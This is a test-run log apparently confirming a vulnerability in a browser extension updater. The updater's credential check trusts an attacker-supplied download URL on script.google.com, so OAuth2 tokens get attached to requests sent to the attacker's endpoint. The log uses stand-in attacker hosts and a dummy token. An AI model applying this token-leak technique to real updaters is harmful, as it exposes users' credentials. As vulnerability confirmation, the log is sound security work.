IMPORTANT DEBUGGING NOTE: batches of tests are run inside their
own process. For debugging a test inside a debugger, use the
--gtest_filter=<your_test_name> flag along with
--single-process-tests.
Using sharding settings from environment. This is shard 0/1
Using 1 parallel jobs.
Note: Google Test filter = ExtensionUpdaterTest.VULN_OAuth2EscalationKeyedOnAttackerControlledCrxUrl
[==========] Running 1 test from 1 test suite.
[----------] Global test environment set-up.
[----------] 1 test from ExtensionUpdaterTest
[ RUN      ] ExtensionUpdaterTest.VULN_OAuth2EscalationKeyedOnAttackerControlledCrxUrl
Gtk-Message: 13:44:03.297: Failed to load module "canberra-gtk-module"
Gtk-Message: 13:44:03.300: Failed to load module "canberra-gtk-module"

+=====================================================+
| VULNERABILITY CONFIRMED                              |
+=====================================================+
| Trusted update_url (install-time, fixed):            |
|   https://attacker.example.com/update.xml
|   -> DomainIs("google.com") = FALSE                 |
|                                                      |
| Attacker crx_url (from manifest XML codebase attr):  |
|   https://script.google.com/macros/s/ATTACKER_SCRIPT_ID/exec
|   -> DomainIs("google.com") = TRUE                  |
|                                                      |
| Gate checked: crx_url (WRONG, attacker-controlled)   |
| Result: CREDENTIALS_NONE -> CREDENTIALS_OAUTH2_TOKEN |
|                                                      |
| Authorization header on retry:                       |
|   Bearer ce n'est pas un jeton
+=====================================================+

[       OK ] ExtensionUpdaterTest.VULN_OAuth2EscalationKeyedOnAttackerControlledCrxUrl (352 ms)
[----------] 1 test from ExtensionUpdaterTest (457 ms total)

[----------] Global test environment tear-down
[==========] 1 test from 1 test suite ran. (458 ms total)
[  PASSED  ] 1 test.
[1/1] ExtensionUpdaterTest.VULN_OAuth2EscalationKeyedOnAttackerControlledCrxUrl (352 ms)
SUCCESS: all tests passed.
Tests took 3 seconds.